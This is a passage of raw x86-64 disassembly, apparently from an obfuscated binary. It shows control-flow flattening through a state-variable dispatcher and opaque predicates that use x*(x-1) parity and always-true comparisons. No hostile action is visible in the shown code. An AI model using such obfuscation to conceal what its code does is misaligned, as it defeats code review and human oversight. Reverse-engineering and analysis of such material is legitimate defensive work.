xor dl, 1
mov ecx, ebx
and al, dl
mov r8d, edx
and r8b, al
xor al, dl
mov r9d, ebx
and r9b, dl
xor dl, bl
xor bl, 1
and cl, bl
xor cl, 1
mov r10d, ebx
xor r10b, cl
or cl, bl
xor cl, 1
or cl, r10b
or al, r8b
xor al, cl
or dl, r9b
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x43bb5eff
mov ecx, 0xce081a3d
cmovne ebp, ecx
test dl, dl
mov ecx, 0x43bb5eff
jmp 0x1401586a9
cmp ecx, 0x88ccb0bf
je 0x14015b537
cmp ecx, 0x8ab87205
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x11649f2
and ecx, 0xfee9b60c
or ecx, ebx
mov ebx, ecx
xor ebx, 0xae691604
xor ecx, 0x11649f3
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5196e939
and ebx, 0xae6916c6
or ebx, esi
or ecx, edi
and edi, 0x5196e939
and edx, 0xae6916c6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6d24c901
and ecx, 0x92db36fe
or ecx, edx
xor ecx, 0x92db36fe
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
and bl, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xf101e5ab
mov ebp, 0x2e93662a
cmovne ecx, ebp
test dl, dl
mov edx, 0xf101e5ab
cmove ecx, edx
jmp 0x14015d17c
cmp ecx, 0xcfe08334
je 0x14015b54d
cmp ecx, 0xd076e9d0
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xaccb9f5e
mov edx, ebp
and edx, 0x533460a1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x3286bb17
and edx, 0xcd7944e8
or edx, ebx
mov ebx, edx
xor ebx, 0x21a05a93
and ecx, 0x38ab5b76
and ebp, 0xc754a489
or ebp, ecx
mov ecx, ebp
xor ecx, 0x85000089
xor edx, 0x9e4d2448
mov edi, edx
and edi, 0x4256a564
and ebx, 0xbda95a9b
or ebx, edi
xor ebp, 0x20164
and ebp, 0x4256a564
and ecx, 0xbda95a9b
or ecx, ebp
xor ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r9b
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r8d, eax
and r8b, cl
or cl, al
mov edx, r9d
and dl, bl
or bl, r9b
mov r10d, ebx
xor r10b, cl
or bl, cl
xor bl, 1
or bl, r10b
or dl, r8b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, ebx
xor cl, 1
and cl, bl
and al, dl
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
xor al, cl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xb6eb078c
mov ebp, 0xf802c668
cmovne ecx, ebp
test dl, 1
mov edx, 0xb6eb078c
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x14015b438
cmp ecx, 0x589eab9
je 0x14015b65b
cmp ecx, 0x6940410
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x15a40c0
mov edx, ebx
and edx, 0x80058706
or edx, ecx
xor edx, 0x80058706
and ebx, 0x7ea03839
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x7ea03839
and ebx, 0x815fc7c6
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ebx
xor edx, 0xf5b4377a
mov edi, edx
and edi, ecx
and edx, ebx
mov ebp, edi
not ebp
mov esi, edx
not esi
mov eax, ebp
and eax, 0xcafe9ccc
and edi, 0x35016333
or edi, eax
or ebp, esi
and esi, 0xcafe9ccc
and edx, 0x35016333
or edx, esi
xor edx, edi
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x7a8240d6
and ebp, 0x857dbf29
or ebp, eax
xor ebp, 0x70c98852
and ebx, 0x4d97b281
mov eax, ecx
and eax, 0xb2684d7e
or eax, ebx
xor eax, 0x4d97b280
and ecx, 1
or ecx, eax
not ecx
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
and eax, 0x16400414
mov edx, ecx
and edx, 0x40082061
or edx, eax
xor edx, 0x40082061
and ecx, 0xa9b7db8a
or ecx, edx
mov eax, ecx
not eax
and eax, 0xa9b7db8a
and ecx, 0x56482475
or ecx, eax
mov eax, ecx
not eax
and eax, 0xac09ec7c
and ecx, 0x53f61383
or ecx, eax
xor ecx, 0x53f61383
cmp ecx, 0xffffffff
sete r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov ebx, r8d
xor bl, cl
and bl, r8b
mov eax, ebx
not al
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, r9d
or dl, al
xor dl, 1
and al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r8d
xor dl, r9b
and dl, r8b
xor cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x7bce4221
mov ebp, 0x349260c4
cmovne edx, ebp
test al, 1
cmovne edx, ebp
not cl
test cl, 1
mov eax, 0x7bce4221
jmp 0x14015b435
cmp ecx, 0x444c8058
je 0x14015b77d
cmp ecx, 0x4472a0ab
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xca074018
and ecx, 0x35f8bfe7
or ecx, edx
mov edx, ecx
xor edx, 0xca074018
mov ebp, ecx
xor ebp, 0x1578b461
and ebp, 0x9d78f461
xor ecx, 0x72645f73
and ecx, edx
mov ebx, edx
and ebx, 0x62870b9e
or ebx, ebp
mov edx, ebx
xor edx, 0x62870b9e
xor ebx, 0x1058d440
mov ebp, edx
and ebp, 0xb8631f6b
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x2c9b9ec3
and ecx, 0xd364613c
or ecx, ebp
xor ecx, 0x6b077e56
and ebx, 0x725bd6da
mov ebp, edx
and ebp, 0x8da42925
or ebp, ebx
xor ebp, 0x725bd6db
and edx, 1
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xbc64835b
and edx, 0x439b7ca4
or edx, ebp
xor edx, 0xbc64835b
xor ecx, edx
test ecx, edx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r8b
xor r8b, dl
mov edx, ebx
or dl, cl
xor dl, 1
xor bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
not cl
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, r8b
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x352fa6a0
mov ebp, 0x7f89e7f6
cmovne eax, ebp
test cl, 1
mov ecx, 0x352fa6a0
cmovne ecx, eax
jmp 0x14015d282
cmp ecx, 0xe9badbde
je 0x14015b793
cmp ecx, 0xeb91b299
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5db1d323
and ebp, 0xa24e2cdc
or ebp, edi
or ecx, ebx
and ebx, 0x5db1d323
and edx, 0xa24e2cdc
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0x2bd0f9f9
mov edx, ecx
xor edx, 0x2bd0f9f9
and edx, ecx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x6d84e9e1
and edx, 0x927b161e
or edx, ebp
mov ebp, edx
xor ebp, 0x1123e780
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
xor edx, 0x46541019
mov edi, edx
and edi, 0xae98087e
and ebp, 0x5167f781
or ebp, edi
or edx, ecx
and ecx, 0xae98087e
and ebx, 0x5167f781
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x8a431aa
and edx, 0xf75bce55
or edx, ebp
xor edx, 0x8a431aa
xor ecx, edx
test ecx, edx
setne r9b
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, r8d
or dl, al
mov ebx, ecx
or bl, r9b
mov r10d, ebx
xor r10b, dl
or bl, dl
xor bl, 1
or bl, r10b
and r9b, cl
or cl, r8b
xor cl, 1
and al, r8b
or al, r9b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov r8d, ebx
xor r8b, 1
mov edx, r8d
and dl, bl
and cl, al
xor dl, 1
mov r9d, ebx
xor r9b, dl
or dl, bl
xor dl, 1
or dl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, dl
mov edx, r8d
and dl, al
xor r8b, al
or r8b, dl
mov eax, r8d
xor al, cl
test al, 1
mov eax, 0x7f62058d
mov edx, 0xc9ea3040
cmovne eax, edx
test r8b, 1
mov edx, 0x7f62058d
jmp 0x14015b42f
cmp ecx, 0x28a7bbf0
je 0x14015b88b
cmp ecx, 0x28b83904
jne 0x14014f740
mov ecx, 0xc52fd198
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x6a0d1875
je 0x14015b953
cmp ecx, 0x6aa0c3c2
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea edi, [rax - 1]
imul edi, eax
mov ebx, edi
not ebx
mov ecx, edi
or ecx, 0xdddeea09
mov ebp, ecx
not ebp
mov eax, ebx
or eax, 0x222115f6
mov edx, eax
not edx
and ecx, 0x8fd2bd06
and ebp, 0x202100f0
or ebp, ecx
and eax, 0x8fd2bd06
and edx, 0x500c4209
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x7afa8f33
and edx, 0x850570cc
or edx, eax
mov ebp, edx
xor ebp, 0x8524400a
xor edx, 0x40820040
and edx, 0x62822571
and ebp, 0x9d7dda8e
or ebp, edx
mov eax, ebp
xor eax, 0x55a86
xor ebp, 0x62822571
mov ecx, ebp
and ecx, 0xff78a509
and eax, 0x875af6
or eax, ecx
or ebp, edi
and edi, 0xff78a509
and ebx, 0x875af6
or ebx, edi
xor ebx, eax
not ebp
or ebp, ebx
cmp ebp, 0xffffffff
setne al
cmp dword [0x1402656d4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or al, cl
mov edx, ecx
xor dl, al
mov edx, 0xde76d541
cmovne edx, r13d
test al, al
mov eax, 0xde76d541
cmovne eax, edx
jmp 0x14015badb
cmp ecx, 0xc602141e
je 0x14015bae5
cmp ecx, 0xc8d0d1ef
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x88cb229c
and edx, ecx
and ecx, 0x7734dd63
or ecx, ebp
mov ebp, ecx
xor ebp, 0x11244563
xor ecx, 0x88cb229c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xeed39884
and ebp, 0x112c677b
or ebp, edi
or ecx, ebx
and ebx, 0xeed39884
and edx, 0x112c677b
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xdb24e1a4
and ecx, 0x24db1e5b
or ecx, edx
xor ecx, 0x24db1e5a
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa5e3db3f
and ecx, 0x5a1c24c0
or ecx, edx
mov edx, ecx
xor edx, 0xa100440
xor ecx, 0x80831910
and ecx, 0xd08f3990
and edx, 0x2f70c66f
or edx, ecx
mov ecx, edx
xor ecx, 0xc08b1090
xor edx, 0x2f70c66f
mov ebp, edx
and ebp, 0x1544ad4f
and ecx, 0xeabb52b0
or ecx, ebp
xor ecx, 0xeabb52b0
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
xor bl, 1
xor dl, al
xor dl, bl
mov eax, edx
xor al, 1
and bl, al
xor al, bl
test al, 1
mov eax, 0xc0f8b7a9
mov ecx, 0xe333d1ff
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0xc0f8b7a9
cmovne ecx, edx
jmp 0x14015cbcb
cmp ecx, 0x104a412
je 0x14015bc99
cmp ecx, 0x36dc0dc
jne 0x14014f740
mov ecx, 0xf7038598
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x3dc709b6
je 0x14015bcaf
cmp ecx, 0x3e1fc6bf
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x94281d44
mov ecx, ebx
and ecx, 0x3042212
or ecx, ebp
mov ebp, ecx
xor ebp, 0x42002
xor ecx, 0xfcfbdded
mov edx, ebx
xor edx, 0x972c3f56
and edx, ebx
mov esi, edx
not esi
mov eax, ecx
and eax, 0xe7829ed9
and ebp, 0x102c2106
or ebp, eax
or ecx, esi
and esi, 0xe7829ed9
and edx, 0x187d6126
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x68d3c0a8
and ecx, 0x972c3f57
or ecx, eax
mov eax, ecx
not eax
and edi, eax
and ecx, ebx
or ecx, edi
xor eax, ecx
test eax, ecx
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and al, dl
and dl, r9b
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
not cl
and bl, r9b
or bl, al
mov eax, ebx
xor al, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x8d179c94
mov ebp, 0x28a7bbf0
cmovne eax, ebp
test dl, dl
mov edx, 0x8d179c94
jmp 0x14015d85f
cmp ecx, 0xe4aea13f
je 0x14015bde4
cmp ecx, 0xe4b43be8
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x3c54884f
and ebp, 0xc3ab77b0
or ebp, edi
or edx, ebx
and ebx, 0x3c54884f
and ecx, 0xc3ab77b0
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov esi, edx
not esi
mov ebx, edx
xor ebx, 0xe170206a
and ebx, esi
mov edi, esi
or edi, 0xe170206a
mov ebp, edi
not ebp
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x6f2a842e
and ebx, 0x90d57bd1
or ebx, eax
or ecx, edi
and edi, 0x6f2a842e
and ebp, 0x10855b91
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x19eec165
and ecx, 0xe6113e9a
or ecx, eax
mov ebx, ecx
xor ebx, 0x2610cc1
and esi, 1
xor edx, 0xfffffffe
or edx, esi
mov eax, edx
not eax
and eax, 0xbd4d2718
and edx, 0x42b2d8e7
or edx, eax
mov eax, edx
xor eax, 0x42a088c3
xor ecx, 0xf89ee10e
xor edx, 0xbd4d2718
mov ebp, ecx
and ebp, 0x95165234
and ebx, 0x6ae9adcb
or ebx, ebp
or ecx, edx
and edx, 0x95165234
and eax, 0x6ae9adcb
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x87c90fef
and eax, 0x7836f010
or eax, ebx
or ecx, ebp
and ebp, 0x87c90fef
and edx, 0x7836f010
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa882a76f
and ecx, 0x577d5890
or ecx, edx
xor ecx, 0xa882a76f
xor eax, ecx
test eax, ecx
setne cl
sete r9b
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl al
mov ebx, eax
and cl, al
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
mov r11d, ebx
xor r11b, 1
and r10b, r9b
or cl, r10b
mov r8d, ecx
xor r8b, 1
mov eax, r11d
and al, bl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
and al, r8b
or al, dl
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xe665b11d
mov ebp, 0xc23d7fee
cmovne edx, ebp
test cl, 1
mov ecx, 0xe665b11d
cmovne ecx, edx
jmp 0x14015d4c9
cmp ecx, 0x206dcb7e
je 0x14015bf6e
cmp ecx, 0x20e9a317
jne 0x14014f740
mov ecx, 0xde9da4d1
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x5caa7522
je 0x14015bf84
cmp ecx, 0x5d2489c9
jne 0x14014f740
mov rax, qword [rsp + 0x38]
mov qword [0x1402650b0], rax
mov ecx, 0x307f7143
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xa2c40b05
je 0x14015c109
cmp ecx, 0xa5cca4d3
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xf5b574ab
and ecx, 0xa4a8b54
or ecx, edx
mov ebp, ecx
xor ebp, 0xf5b574ab
mov edx, ecx
xor edx, 0xa4a8b54
xor ecx, 0xc63bfeab
mov ebx, ecx
and ebx, edx
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xf581e334
and ecx, 0xa7e1ccb
or ecx, ebx
xor ecx, 0x39f096ca
and ebp, 0xc6639ebe
mov ebx, edx
and ebx, 0x399c6141
or ebx, ebp
xor ebx, 0xc6639ebf
and edx, 1
or edx, ebx
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov ebx, r9d
or bl, dl
mov eax, r9d
xor al, dl
not al
and al, dl
xor al, 1
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r9b, dl
or dl, r8b
xor dl, 1
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xc602141e
mov edx, 0x36754356
cmovne ecx, edx
test bl, 1
mov ebp, 0xc602141e
jmp 0x14015b651
cmp ecx, 0xb6eb078c
je 0x14015c1de
cmp ecx, 0xb892e76e
jne 0x14014f740
mov ecx, 0x561a460f
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xdb335f1c
je 0x14015c2e1
cmp ecx, 0xdb7126fd
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xfffffffe
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xbfa0d15c
and eax, 0x405f2ea3
or eax, edx
mov edx, eax
xor edx, 0x412020
and ebp, 0x5025392a
and ecx, 0xafdac6d5
or ecx, ebp
mov ebp, ecx
xor ebp, 0x26c04044
xor eax, 0xbfa0d15c
xor ecx, 0x5025392a
mov ebx, eax
and ebx, 0xc93e9e9b
and edx, 0x36c16164
or edx, ebx
or eax, ecx
and ecx, 0xc93e9e9b
and ebp, 0x36c16164
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete cl
cmp dword [0x1402656d4], 9
setg dl
mov eax, edx
xor al, cl
xor al, 1
mov ebx, eax
or bl, dl
xor bl, 1
and al, cl
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor dl, bl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x39927d81
mov ebp, 0x104a412
cmovne eax, ebp
test dl, 1
cmovne eax, ebp
not cl
test cl, 1
mov ecx, 0x39927d81
jmp 0x14014f72e
cmp ecx, 0xdeefdbb
je 0x14015c416
cmp ecx, 0xe7ce6c6
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xbd9afd6c
mov ebx, ecx
and ebx, 0x42650292
or ebx, edx
xor ebx, 0x42650292
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebp, 0x22124f56
and ecx, 0xddedb0a9
or ecx, ebp
mov ebp, ecx
xor ebp, 0x10c98089
xor ecx, 0x22124f56
mov edi, edx
and edi, 0xef247274
and ebx, 0x10db8d8b
or ebx, edi
or edx, ecx
and ecx, 0xef247274
and ebp, 0x10db8d8b
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete r10b
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov ebx, edx
and r10b, dl
and dl, r8b
xor bl, r8b
or bl, dl
mov eax, ebx
xor al, 1
and r9b, r8b
or r10b, r9b
mov edx, eax
and dl, bl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and al, r10b
xor r10b, 1
and dl, r10b
or dl, al
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, r10d
xor al, dl
test r10b, r10b
mov ecx, 0x1c2a68e6
mov ebp, 0x600e2e19
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0x1c2a68e6
jmp 0x14015d285
cmp ecx, 0x494e4498
je 0x14015c59c
cmp ecx, 0x4a8c2ea9
jne 0x14014f740
mov ecx, 0xe53b1237
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x8159bbfa
je 0x14015c6c1
cmp ecx, 0x83613bf8
jne 0x14014f740
mov ecx, 0x27d7b814
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xefc170b4
je 0x14015c817
cmp ecx, 0xf101e5ab
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x6a1ec0c9
and ecx, 0x95e13f36
or ecx, edx
mov edx, ecx
xor edx, 0x6a1ec0c9
mov ebp, ecx
xor ebp, 0x213a10
and ebp, 0x4a3b7a98
xor ecx, 0x2d52376f
and ecx, edx
and edx, 0xb5c48567
or edx, ebp
mov ebx, edx
xor ebx, 0xb5c48567
mov ebp, ebx
and ebp, 0x474cf7a6
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xb8b30858
and ecx, 0x474cf7a7
or ecx, ebp
and ebx, 1
xor edx, 0xb5c48566
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x886d711
and edx, 0xf77928ee
or edx, ebp
xor edx, 0xf77928ee
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0xd5d8242a
and ecx, 0x2a27dbd5
or ecx, edx
xor ecx, 0xd5d8242a
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xc55edd58
mov ebp, 0xa6342350
cmovne ecx, ebp
test dl, dl
mov edx, 0xc55edd58
cmovne edx, ecx
jmp 0x140159cfd
cmp ecx, 0x2fba6ff6
je 0x14015c931
cmp ecx, 0x307f7143
jne 0x14014f740
mov rsi, qword [rsp + 0x38]
mov ecx, dword [0x1402656d8]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
and edx, 0x2c0ee39e
mov ebx, ebp
and ebx, 0xd3f11c61
or ebx, edx
mov ecx, ebx
xor ecx, 0xd3f11c61
mov edx, ebx
xor edx, 0x9f94325f
and edx, ecx
and ebp, 0x4c652e3e
mov edi, edx
and edi, ebp
xor ebp, edx
mov edx, dword [0x1402656d4]
or ebp, edi
mov edi, ebp
not edi
and edi, 0x6bf816fb
and ebp, 0x9407e904
or ebp, edi
xor ebp, 0x279d38c4
xor ebx, 0x2006a102
and ebx, 0xa137a122
mov edi, ecx
and edi, 0x5ec85edd
or edi, ebx
xor edi, 0xa137a123
and ecx, 1
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x5cf0a47d
and ecx, 0xa30f5b82
or ecx, ebx
xor ecx, 0xa30f5b82
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0xdc6ed98f
and ecx, 0x23912670
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2020
xor ecx, 0xdc6ed98f
mov ebx, ecx
and ebx, 0x27b5d659
and ebp, 0xd84a29a6
or ebp, ebx
xor ebp, 0xd84a29a6
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne bl
cmp edx, 0xa
setl al
cmp edx, 9
setg dl
mov ecx, edx
and cl, bl
and r8b, dl
xor dl, bl
or dl, cl
xor dl, 1
and al, bl
or al, r8b
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
test cl, 1
mov ecx, 0x38ff62c2
mov ebp, 0x5d2489c9
cmovne ecx, ebp
test al, al
mov eax, ecx
mov ebp, 0x38ff62c2
cmovne eax, ebp
mov qword [0x1402650b0], rsi
test dl, dl
jmp 0x14014f72e
cmp ecx, 0x7a56c66d
je 0x14015ca45
cmp ecx, 0x7bbdb9c0
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov r9d, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x5c902d6
mov ebp, ecx
and ebp, 0x48368021
or ebp, edx
xor ebp, 0x48368021
and ecx, 0xb2007d08
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x714f07d9
and ecx, 0x8eb0f826
or ecx, edx
mov ebx, ecx
xor ebx, 0x434340c1
mov esi, ecx
xor esi, 0x3cb0852e
or ebx, 0x9cac3f12
mov edi, ebx
not edi
mov ebp, esi
or ebp, 0x6353c0ed
mov edx, ebp
not edx
and ebx, 0xbd71e040
and edi, 0x420200ad
or edi, ebx
and ebp, 0xbd71e040
and edx, 0x8c1f12
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0xf3e2a5f
and edx, 0xf0c1d5a0
or edx, ebp
xor edx, 0x9392154c
and esi, 1
xor ecx, 0x3cb0852f
or ecx, esi
mov ebp, ecx
not ebp
and ebp, 0xbe70bb4
and ecx, 0xf418f44b
or ecx, ebp
